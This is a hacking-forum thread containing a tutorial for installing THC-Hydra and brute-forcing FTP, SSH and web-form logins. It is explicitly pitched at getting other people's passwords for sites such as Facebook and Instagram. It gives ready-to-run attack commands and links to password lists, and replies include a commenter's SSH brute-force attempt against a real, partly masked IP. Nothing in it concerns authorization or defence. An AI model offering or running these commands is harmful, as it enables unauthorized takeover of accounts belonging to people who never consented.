[High On Quack]

Bruteforcing with THC-HYDRA

I see a lot of threads in beginner hacking asking questions like: "How do I hack_ accounts", "how do I get the password for ___"

This tutorial will teach you how to brute force accounts with thc-hydra (command line version)

Requirements:

• PC, MAC, or LINUX OS (kali linux is the best to use)
  
• Macports (if on mac)
  
• Cygwin (PC)
  
• Aptitude (if not on linux other than kali linux)
  

Installing on Mac:
Grab MacPorts and install it here: https://www.macports.org/install.php

Once installed, open up terminal. Type/copy the following lines into terminal:

Code

port install libssh
port install hydra

thc-hydra is now installed on your mac.

Installing on Linux:

Code

Ubuntu/Debian: apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev

Redhat/Fedora: yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel

OpenSuSE: zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

Now use wget or curl to download The hydra source http://www.thc.org/releases/hydra-8.0.tar.gz
Use tar to unpack it:

Code

tar -xzf hydra-8.0.tar.gz

Now run:

Code

cd hydra-8.0
./configure
make

You have now finished installing hydra on your *nix box!

Using THC-Hydra!

The most common way that I have used thc-hydra is to brute force ftp accounts
how you would do this is by typing:

Code

hydra -l ftpuser -P mypasswordlist.txt ftp://leftpserver.net

You can look up how to use the program to your specific needs by typing:

Code

hydra -h

It will display all parameters.

Using THC-Hydra WITH HTTP!

HTTP is the most useful form of a brute force attack, it allows you to crack web logins like facebook, instagram, league of legends, you name it!

Here is what you need to know for an http attack:

Website domain: example.com
Method(Type this in correct order): http-form-post
What the website returns on incorrect login: Wrong password fool.
url of the page: /login.php
Form parameters (these are the name="~~~" variable in an input tag): user=^USER^&password=^PASS^
and then your users file/passwords file and other stuff that I showed you in the last section.

Here is the command (replace with your own variables)

Code

hydra example.com http-form-post "/login.php:user=^USER^&pass=^PASS^:Wrong password fool." -L users.txt -P pass.txt -t 10

PASSWORD LISTS! (The most important part)

10000 Most Commonly used passwords - http://adf.ly/t6veM
Computer Generated list of ~250,000,000 passwords! - http://getfiles.co/4uDH

PLEASE pm me with any questions I would love to help!

[LindaPinda]

So you are teaching how to install on unix based systems, and how to crack a FTP-logins.. No offence, but maybe you should edit your tittle to something more accurate? ❓

You should add how to compile it on windows OS, and how to brute HTTP forms.
That would assist a lot of users... 🙂

Spoiler (Click to View) If not, I'll might do a tut on this when I get the time

[High On Quack]

I will add a separate tut for that, this tut works fine for imap, pop3, ssh, ftp, sql, etc. as long as its not http/

[P0pz]

Nice tutorial, but most "how to crack X" questions are mostly on social media accounts or game accounts.

[Dirtmaan]

Thanks for this method, vouched by me ;)

[High On Quack]

THC-Hydra works with social network accounts It is just configured weirdly, I will be updating it with that info!

[number7]

i get erro

Compiled without LIBSSH v0.4.x support, module is not available!

when i try to run ssh any help

i did run exactly as posted hear except at end of hydra
make
i ran make install as it told me too

---

ok so now diffrent errors

hear is what i did to try fix the libssh erro

Code

cd /usr/local/src
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install

then reinstalled hydra

now i get this erro

Code

[root@CT105 hydra-8.0]# hydra -s 22 -V -l root -P p2.txt 1xx.1xx.xxx.xxx ssh
hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory

i xxed out the ip i was running agenced in this post

any thoughts

[meicheung333]

your common password is very great. I think it is very important in the bf pwd when have a good pwd list

[NothingIllegal]

This isn't written for HTTP, while most of those threads asking is for, you guessed it, HTTP.

[skidochua]

IF you know how to use hydra for web form login attack pls pm me on [email protected]

[High On Quack]

I added to the tutorial a section for HTTP brute forcing! Happy Cracking!

[GorrePro]

Thanks for great for this mate , looked everywhere after an easy understanding and working tutorial !

[High On Quack]

Thanks for great for this mate , looked everywhere after an easy understanding and working tutorial !

Awesome tutorial , thanks for share buddy. 🤝

Thank you guys for leaving feedback. I am glad I could help you!

[akbarb]

The download link for the 10k pwd is invalid, and the other one is a survey site that never completes...
Other than that thanks for the tut!

[High On Quack]

The download link for the 10k pwd is invalid, and the other one is a survey site that never completes...
Other than that thanks for the tut!

The 10K list works for sure, I just tested it.